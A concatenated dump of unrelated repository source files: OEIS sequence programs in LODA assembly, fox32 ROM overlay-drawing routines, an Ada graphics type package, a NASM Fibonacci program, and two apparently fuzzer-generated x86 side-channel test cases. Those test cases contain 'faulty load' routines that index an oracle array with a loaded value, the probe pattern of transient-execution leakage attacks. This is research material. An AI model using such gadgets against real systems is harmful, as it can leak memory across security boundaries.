176741
|
<gh_stars>1-10
; A084247: a(n) = -a(n-1) + 2a(n-2), a(0)=1, a(1)=2.
; 1,2,0,4,-4,12,-20,44,-84,172,-340,684,-1364,2732,-5460,10924,-21844,43692,-87380,174764,-349524,699052,-1398100,2796204,-5592404,11184812,-22369620,44739244,-89478484,178956972,-357913940,715827884,-1431655764,2863311532,-5726623060,11453246124,-22906492244,45812984492,-91625968980,183251937964,-366503875924,733007751852,-1466015503700,2932031007404,-5864062014804,11728124029612,-23456248059220,46912496118444,-93824992236884,187649984473772,-375299968947540,750599937895084,-1501199875790164,3002399751580332,-6004799503160660
mov $1,4
mov $2,-2
pow $2,$0
sub $1,$2
div $1,3
|
oeis/000/A000541.asm
|
neoneye/loda-programs
| 11 |
171289
|
<gh_stars>10-100
; A000541: Sum of 7th powers: 1^7 + 2^7 + ... + n^7.
; 0,1,129,2316,18700,96825,376761,1200304,3297456,8080425,18080425,37567596,73399404,136147921,241561425,412420800,680856256,1091194929,1703414961,2597286700,3877286700,5678375241,8172733129,11577558576,16164030000,22267545625,30299355801,40759709004,54252637516,71502513825,93372513825,120885127936,155244866304,197863309281,250386659425,314725956300,393090120396,488021997529,602437580121,739668586800,903508586800,1098262860681,1328802193929,1600620805036,1919898614700,2293568067825,2729385725041
lpb $0
mov $2,$0
sub $0,1
pow $2,7
add $1,$2
lpe
mov $0,$1
|
fox32rom/overlay.asm
|
ry755/fox32
| 6 |
160387
|
<filename>fox32rom/overlay.asm
; overlay routines
; fill a whole overlay with a color
; inputs:
; r0: color
; r1: overlay number
; outputs:
; none
fill_overlay:
push r1
push r2
push r3
push r31
mov r2, r1
or r2, 0x80000100 ; bitwise or the overlay number with the command to get the overlay size
or r1, 0x80000200 ; bitwise or the overlay number with the command to get the framebuffer pointer
in r1, r1 ; r1: overlay framebuffer poiner
in r2, r2
mov r3, r2
and r2, 0x0000FFFF ; r2: X size
sra r3, 16 ; r3: Y size
mul r2, r3
mov r31, r2
fill_overlay_loop:
mov [r1], r0
add r1, 4
loop fill_overlay_loop
pop r31
pop r3
pop r2
pop r1
ret
; draw a pixel to an overlay
; inputs:
; r0: X coordinate
; r1: Y coordinate
; r2: color
; r3: overlay number
; outputs:
; none
draw_pixel_to_overlay:
push r3
push r4
mov r4, r3
or r4, 0x80000100 ; bitwise or the overlay number with the command to get the overlay size
or r3, 0x80000200 ; bitwise or the overlay number with the command to get the framebuffer pointer
in r3, r3 ; r3: overlay framebuffer poiner
in r4, r4
and r4, 0x0000FFFF ; r4: overlay width
call draw_pixel_generic
pop r4
pop r3
ret
; draw a filled rectangle to an overlay
; inputs:
; r0: X coordinate of top-left
; r1: Y coordinate of top-left
; r2: X size
; r3: Y size
; r4: color
; r5: overlay number
; outputs:
; none
draw_filled_rectangle_to_overlay:
push r5
push r6
mov r6, r5
or r6, 0x80000100 ; bitwise or the overlay number with the command to get the overlay size
or r5, 0x80000200 ; bitwise or the overlay number with the command to get the framebuffer pointer
in r5, r5 ; r5: overlay framebuffer poiner
in r6, r6
and r6, 0x0000FFFF ; r6: overlay width
call draw_filled_rectangle_generic
pop r6
pop r5
ret
; draw a single font tile to an overlay
; inputs:
; r0: tile number
; r1: X coordinate
; r2: Y coordinate
; r3: foreground color
; r4: background color
; r5: overlay number
; outputs:
; none
draw_font_tile_to_overlay:
push r5
push r6
push r7
push r8
push r9
mov r6, r5
or r6, 0x80000100 ; bitwise or the overlay number with the command to get the overlay size
or r5, 0x80000200 ; bitwise or the overlay number with the command to get the framebuffer pointer
in r8, r5 ; r8: overlay framebuffer poiner
in r9, r6
and r9, 0x0000FFFF ; r9: overlay width
mov r5, standard_font_data
movz.16 r6, [standard_font_width]
movz.16 r7, [standard_font_height]
call draw_font_tile_generic
pop r9
pop r8
pop r7
pop r6
pop r5
ret
; draw text to an overlay, using printf-style formatting
; inputs:
; r0: pointer to null-terminated string
; r1: X coordinate
; r2: Y coordinate
; r3: foreground color
; r4: background color
; r5: overlay number
; r10-r15: optional format values
; outputs:
; r1: X coordinate of end of text
draw_format_str_to_overlay:
push r5
push r6
push r7
push r8
push r9
mov r6, r5
or r6, 0x80000100 ; bitwise or the overlay number with the command to get the overlay size
or r5, 0x80000200 ; bitwise or the overlay number with the command to get the framebuffer pointer
in r8, r5 ; r8: overlay framebuffer poiner
in r9, r6
and r9, 0x0000FFFF ; r9: overlay width
mov r5, standard_font_data
movz.16 r6, [standard_font_width]
movz.16 r7, [standard_font_height]
call draw_format_str_generic
pop r9
pop r8
pop r7
pop r6
pop r5
ret
; draw text to an overlay
; inputs:
; r0: pointer to null-terminated string
; r1: X coordinate
; r2: Y coordinate
; r3: foreground color
; r4: background color
; r5: overlay number
; outputs:
; r1: X coordinate of end of text
draw_str_to_overlay:
push r0
push r6
mov r6, r0
draw_str_to_overlay_loop:
movz.8 r0, [r6]
call draw_font_tile_to_overlay
inc r6
add r1, 8
cmp.8 [r6], 0x00
ifnz jmp draw_str_to_overlay_loop
pop r6
pop r0
ret
; draw a decimal value to an overlay
; inputs:
; r0: value
; r1: X coordinate
; r2: Y coordinate
; r3: foreground color
; r4: background color
; outputs:
; r1: X coordinate of end of text
draw_decimal_to_overlay:
push r5
push r6
push r7
push r8
push r9
mov r6, r5
or r6, 0x80000100 ; bitwise or the overlay number with the command to get the overlay size
or r5, 0x80000200 ; bitwise or the overlay number with the command to get the framebuffer pointer
in r8, r5 ; r8: overlay framebuffer poiner
in r9, r6
and r9, 0x0000FFFF ; r9: overlay width
mov r5, standard_font_data
movz.16 r6, [standard_font_width]
movz.16 r7, [standard_font_height]
call draw_decimal_generic
pop r9
pop r8
pop r7
pop r6
pop r5
ret
; draw a hex value to an overlay
; inputs:
; r0: value
; r1: X coordinate
; r2: Y coordinate
; r3: foreground color
; r4: background color
; outputs:
; r1: X coordinate of end of text
draw_hex_to_overlay:
push r5
push r6
push r7
push r8
push r9
mov r6, r5
or r6, 0x80000100 ; bitwise or the overlay number with the command to get the overlay size
or r5, 0x80000200 ; bitwise or the overlay number with the command to get the framebuffer pointer
in r8, r5 ; r8: overlay framebuffer poiner
in r9, r6
and r9, 0x0000FFFF ; r9: overlay width
mov r5, standard_font_data
movz.16 r6, [standard_font_width]
movz.16 r7, [standard_font_height]
call draw_hex_generic
pop r9
pop r8
pop r7
pop r6
pop r5
ret
; finds the overlay with the highest priority covering the specified position
; does not check overlay 31, which is always the mouse pointer
; inputs:
; r0: X coordinate
; r1: Y coordinate
; outputs:
; r0: overlay number
find_overlay_covering_position:
; TODO:
; checks if the specified overlay is covering the specified position on screen
; the overlay can be enabled or disabled
; example:
; overlay 0 is at (0,0) and is 32x32 in size
; point (4,2) is covered by overlay 0
; point (16,16) is covered by overlay 0
; point (31,31) is covered by overlay 0
; point (32,32) is NOT covered by overlay 0, because it is outside of the overlay's area
; this works for overlays of any size, at any position on screen
; inputs:
; r0: X coordinate
; r1: Y coordinate
; r2: overlay number
; outputs:
; Z flag: set if covering, clear if not covering
check_if_overlay_covers_position:
push r0
push r1
push r3
push r4
push r5
push r6
push r7
mov r3, r2
or r3, 0x80000000 ; bitwise or the overlay number with the command to get the overlay position
in r4, r3
mov r5, r4
and r4, 0x0000FFFF ; r4: X position
sra r5, 16 ; r5: Y position
mov r3, r2
or r3, 0x80000100 ; bitwise or the overlay number with the command to get the overlay size
in r6, r3
mov r7, r6
and r6, 0x0000FFFF ; r6: width
sra r7, 16 ; r7: height
add r6, r4
add r7, r5
; (r4,r5): coordinates of top-left of the overlay
; (r6,r7): coordinates of bottom-right of the overlay
; now we need to check if:
; - (r4,r5) is greater than or equal to (r0,r1)
; and
; - (r6,r7) is less than or equal to (r0,r1)
; if carry flag is set, value is less than
; if carry flag is clear, value is greater than or equal to
cmp r0, r4
ifc jmp check_if_overlay_covers_position_fail
cmp r0, r6
ifnc jmp check_if_overlay_covers_position_fail
cmp r1, r5
ifc jmp check_if_overlay_covers_position_fail
cmp r1, r7
ifnc jmp check_if_overlay_covers_position_fail
; if we reached this point then the point is within the bounds of the overlay !!!
mov.8 r0, 0
cmp.8 r0, 0 ; set Z flag
pop r7
pop r6
pop r5
pop r4
pop r3
pop r1
pop r0
ret
check_if_overlay_covers_position_fail:
mov.8 r0, 1
cmp.8 r0, 0 ; clear Z flag
pop r7
pop r6
pop r5
pop r4
pop r3
pop r1
pop r0
ret
; checks if the specified overlay is covering the specified position on screen
; the overlay must be enabled
; example:
; overlay 0 is at (0,0) and is 32x32 in size
; point (4,2) is covered by overlay 0
; point (16,16) is covered by overlay 0
; point (31,31) is covered by overlay 0
; point (32,32) is NOT covered by overlay 0, because it is outside of the overlay's area
; this works for overlays of any size, at any position on screen
; inputs:
; r0: X coordinate
; r1: Y coordinate
; r2: overlay number
; outputs:
; Z flag: set if covering, clear if not covering
check_if_enabled_overlay_covers_position:
push r3
push r4
mov r3, r2
or r3, 0x80000300 ; bitwise or the overlay number with the command to get the overlay enable status
in r4, r3
cmp r4, 0
pop r4
pop r3
ifnz jmp check_if_enabled_overlay_covers_position_is_enabled
cmp r4, 1 ; r4 is known to be zero at this point, so compare it with 1 to clear the Z flag
ret
check_if_enabled_overlay_covers_position_is_enabled:
call check_if_overlay_covers_position
ret
; converts coordinates to be relative to the position of the specified overlay
; the overlay can be enabled or disabled
; example:
; overlay is at (16,16)
; (20,20) is specified
; (4,4) will be returned
; inputs:
; r0: X coordinate
; r1: Y coordinate
; r2: overlay number
; outputs:
; r0: relative X coordinate
; r1: relative Y coordinate
make_coordinates_relative_to_overlay:
push r2
push r3
or r2, 0x80000000 ; bitwise or the overlay number with the command to get the overlay position
in r2, r2
mov r3, r2
and r2, 0x0000FFFF ; r2: overlay X position
sra r3, 16 ; r3: overlay Y position
sub r0, r2
sub r1, r3
pop r3
pop r2
ret
|
oeis/240/A240876.asm
|
neoneye/loda-programs
| 11 |
173835
|
; A240876: Expansion of (1 + x)^11 / (1 - x)^12.
; Submitted by <NAME>
; 1,23,265,2047,11969,56695,227305,795455,2485825,7059735,18474633,45046719,103274625,224298231,464387817,921406335,1759885185,3248227095,5812626185,10113604735,17152640321,28418229623,46082942185,73265596607,114375683009,175560601111,265280226953,395037809215,580301276417,841654759159,1206226549225,1709446884095,2397196917505,3328419072535,4578268733705,6241897981183,8438973867969,11319046656375,15067897531881,19915010671167,26142331229505,34094488905495,44190686315145,56938472541375
mov $1,1
mov $3,$0
mov $0,20
mov $2,1
mov $4,2
lpb $3
add $0,2
mul $1,$3
mul $1,$0
sub $0,4
sub $3,1
sub $5,1
add $5,$4
div $1,$5
add $2,$1
add $4,2
lpe
mov $0,$2
|
Sources/Graphics/graphics_structures.ads
|
ForYouEyesOnly/Space-Convoy
| 1 |
16848
|
--
-- Jan & <NAME>, Australia, July 2011
--
with GLOBE_3D;
with Real_Type; use Real_Type;
with Rotations; use Rotations;
with Vectors_2D_N; use Vectors_2D_N;
with Vectors_3D; use Vectors_3D;
package Graphics_Structures is
type RGB is (Red, Green, Blue);
type RGBA is (Red, Green, Blue, Alpha);
subtype Colour_Component_Range is Real range 0.0 .. 1.0;
type RGB_Colour is array (RGB) of Colour_Component_Range;
type RGBA_Colour is array (RGBA) of Colour_Component_Range;
subtype Shininess_Range is Real range 0.0 .. 128.0;
type Materials is record
Ambient,
Diffuse,
Specular,
Emission : RGBA_Colour;
Shininess : Shininess_Range;
end record;
subtype Point_3D is Vector_3D;
type Points_3D is array (Positive range <>) of Point_3D;
type Line_3D is array (Positive range 1 .. 2) of Point_3D;
type Camera is tagged
record
Position,
Scene_Offset,
Object_Offset : Vector_3D;
Rotation : Quaternion_Rotation;
end record;
subtype Point_2D is Vector_2D_N;
subtype Size_2D is Vector_2D_N;
type Points_2D is array (Positive range <>) of Point_2D;
type Line_2D is array (Positive range 1 .. 2) of Point_2D;
type Camera_Mode_T is (Scene, Chase);
type Lights_T is array (Positive range <>) of GLOBE_3D.Light_definition;
-- private
--
-- type RGB_Colour_F is array (RGB) of GL.Float;
-- type RGB_Colour_D is array (RGB) of GL.Double;
-- type RGBA_Colour_F is array (RGBA) of GL.Float;
-- type RGBA_Colour_D is array (RGBA) of GL.Double;
--
-- subtype Shininess_Range_F is GL.Float range 0.0 .. 128.0;
--
-- type Materials_F is record
-- Ambient,
-- Diffuse,
-- Specular,
-- Emission : RGBA_Colour_F;
-- Shininess : Shininess_Range_F;
-- end record;
end Graphics_Structures;
|
travis/test/br3392637.asm
|
johannkoenig/nasm
| 1,052 |
172304
|
; -----------------------------------------------------------------------------
; A 64-bit Linux application that writes the first 90 Fibonacci numbers. To
; assemble and run:
;
; nasm -felf64 fib.asm && gcc fib.o && ./a.out
; -----------------------------------------------------------------------------
global main
extern printf
section .text
main:
push rbx ; we have to save this since we use it
mov ecx, 90 ; ecx will countdown to 0
xor rax, rax ; rax will hold the current number
xor rbx, rbx ; rbx will hold the next number
inc rbx ; rbx is originally 1
print:
; We need to call printf, but we are using rax, rbx, and rcx. printf
; may destroy rax and rcx so we will save these before the call and
; restore them afterwards.
push rax ; caller-save register
push rcx ; caller-save register
mov rdi, format ; set 1st parameter (format)
mov rsi, rax ; set 2nd parameter (current_number)
xor rax, rax ; because printf is varargs
; Stack is already aligned because we pushed three 8 byte registers
call printf ; printf(format, current_number)
pop rcx ; restore caller-save register
pop rax ; restore caller-save register
mov rdx, rax ; save the current number
mov rax, rbx ; next number is now current
add rbx, rdx ; get the new next number
dec ecx ; count down
jnz print ; if not done counting, do some more
pop rbx ; restore rbx before returning
ret
format:
db "%20ld", 10, 0
|
src/Sym_Expr/regexp_readers-generic_readers.ads
|
fintatarta/eugen
| 0 |
13904
|
<gh_stars>0
----------------------------------------
-- Symbolic_Expressions.Regexp_Reader --
----------------------------------------
generic
type Result_Type is private;
Regexp : Regexp_Spec;
with function Convert (X : String) return Result_Type;
package Regexp_Readers.Generic_Readers is
procedure Reader (Input : in String;
Success : out Boolean;
Consumed : out Natural;
Result : out Result_Type);
end Regexp_Readers.Generic_Readers;
|
c_asm/19-passing_and_return_value/math_func.asm
|
karng87/nasm_game
| 0 |
10832
|
<gh_stars>0
section .data
section .bss
section .text
global add
add:
add rdi, rsi
mov rax, rdi
ret
global sub
sub:
sub rdi, rsi
mov rax, rdi
ret
global mul
mul:
mov rax, rdi
mul rsi
ret
global div_i
div_i:
cvtsi2ss xmm0, rdi
cvtsi2ss xmm1, rsi
divss xmm0, xmm1
ret
global div_f
div_f:
divss xmm0, xmm1
ret
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_21829_1308.asm
|
ljhsiun2/medusa
| 9 |
169862
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r8
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1d081, %rbp
nop
nop
and %r8, %r8
mov (%rbp), %r9
nop
nop
nop
nop
nop
add %rax, %rax
lea addresses_WC_ht+0x19081, %r11
nop
nop
nop
nop
add %r13, %r13
mov (%r11), %ebp
nop
nop
nop
sub $21669, %r9
lea addresses_UC_ht+0x16081, %rsi
lea addresses_WC_ht+0x772, %rdi
inc %r11
mov $12, %rcx
rep movsq
nop
nop
cmp %rbp, %rbp
lea addresses_WC_ht+0x3fb8, %r8
nop
nop
nop
add $12412, %r9
movups (%r8), %xmm2
vpextrq $0, %xmm2, %r11
and %rsi, %rsi
lea addresses_normal_ht+0x67f9, %rax
nop
nop
nop
nop
nop
xor %rbp, %rbp
and $0xffffffffffffffc0, %rax
movaps (%rax), %xmm0
vpextrq $1, %xmm0, %r9
xor %rsi, %rsi
lea addresses_A_ht+0x4081, %rsi
lea addresses_WT_ht+0x17e31, %rdi
nop
xor $12700, %r8
mov $108, %rcx
rep movsl
nop
dec %rdi
lea addresses_D_ht+0x4b81, %rsi
nop
nop
nop
cmp %r13, %r13
and $0xffffffffffffffc0, %rsi
movaps (%rsi), %xmm1
vpextrq $0, %xmm1, %rax
nop
nop
sub %r9, %r9
lea addresses_WC_ht+0x8f19, %r9
nop
add %r8, %r8
movl $0x61626364, (%r9)
nop
cmp $39631, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r15
push %r8
push %r9
push %rbx
push %rcx
push %rdx
// Store
lea addresses_US+0x9e81, %rbx
nop
nop
add %r8, %r8
movb $0x51, (%rbx)
nop
nop
nop
nop
sub $15175, %r9
// Store
lea addresses_RW+0x122b1, %rdx
nop
cmp %r14, %r14
mov $0x5152535455565758, %rbx
movq %rbx, %xmm0
movups %xmm0, (%rdx)
nop
nop
nop
xor $21024, %rcx
// Load
lea addresses_WC+0x5231, %rcx
nop
cmp $20123, %r14
movups (%rcx), %xmm5
vpextrq $1, %xmm5, %rbx
nop
nop
cmp %r14, %r14
// Store
lea addresses_WC+0x2881, %r15
clflush (%r15)
sub %r14, %r14
movb $0x51, (%r15)
nop
nop
nop
nop
nop
add %r8, %r8
// Store
lea addresses_UC+0xbb25, %rbx
xor %rdx, %rdx
movl $0x51525354, (%rbx)
nop
and %r14, %r14
// Store
lea addresses_US+0x1915b, %r9
nop
nop
nop
nop
nop
xor %r14, %r14
mov $0x5152535455565758, %rdx
movq %rdx, %xmm3
movntdq %xmm3, (%r9)
nop
and $26010, %r9
// Faulty Load
lea addresses_WC+0x2881, %r14
clflush (%r14)
nop
nop
nop
nop
nop
add %r15, %r15
movups (%r14), %xmm7
vpextrq $0, %xmm7, %r8
lea oracles, %r9
and $0xff, %r8
shlq $12, %r8
mov (%r9,%r8,1), %r8
pop %rdx
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r15
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_US'}}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_RW'}}
{'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_WC'}}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_UC'}}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 16, 'NT': True, 'type': 'addresses_US'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': True, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'AVXalign': True, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 11, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 7, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC_ht'}}
{'51': 21829}
51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1240.asm
|
ljhsiun2/medusa
| 9 |
24747
|
<gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r15
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0xad59, %rsi
lea addresses_WC_ht+0x3273, %rdi
clflush (%rsi)
clflush (%rdi)
sub %r12, %r12
mov $27, %rcx
rep movsl
nop
nop
nop
nop
xor $9646, %r11
lea addresses_UC_ht+0xaab3, %rsi
lea addresses_normal_ht+0x19c73, %rdi
clflush (%rdi)
nop
nop
nop
and $9922, %r11
mov $4, %rcx
rep movsl
nop
nop
nop
nop
nop
sub %r12, %r12
lea addresses_normal_ht+0xec73, %r14
nop
nop
nop
nop
xor %r15, %r15
mov (%r14), %r11
nop
nop
nop
xor %r14, %r14
lea addresses_UC_ht+0xc073, %r12
nop
nop
nop
nop
nop
sub %r15, %r15
movw $0x6162, (%r12)
inc %r14
lea addresses_WT_ht+0xff93, %r14
nop
nop
nop
nop
nop
add $62566, %rsi
movw $0x6162, (%r14)
dec %r14
lea addresses_D_ht+0x18fcb, %rcx
mfence
mov (%rcx), %r11d
nop
cmp %r15, %r15
pop %rsi
pop %rdi
pop %rcx
pop %r15
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_normal+0x12d73, %rdi
nop
nop
nop
nop
nop
and %rsi, %rsi
mov $0x5152535455565758, %r8
movq %r8, %xmm2
movups %xmm2, (%rdi)
nop
nop
nop
nop
nop
dec %r9
// Store
lea addresses_normal+0x1ba73, %r12
nop
nop
cmp %rsi, %rsi
mov $0x5152535455565758, %r9
movq %r9, %xmm3
movups %xmm3, (%r12)
sub $24326, %rbx
// REPMOV
mov $0x38f, %rsi
lea addresses_WT+0x6673, %rdi
nop
nop
nop
cmp %r13, %r13
mov $45, %rcx
rep movsl
nop
nop
nop
nop
nop
dec %rbx
// Store
lea addresses_RW+0x1a673, %r8
nop
nop
nop
cmp $47312, %rdi
mov $0x5152535455565758, %rcx
movq %rcx, %xmm4
vmovups %ymm4, (%r8)
xor %r12, %r12
// Faulty Load
lea addresses_RW+0x16273, %r12
nop
add $53347, %rbx
movups (%r12), %xmm0
vpextrq $0, %xmm0, %rcx
lea oracles, %rsi
and $0xff, %rcx
shlq $12, %rcx
mov (%rsi,%rcx,1), %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_P'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WT'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'32': 21829}
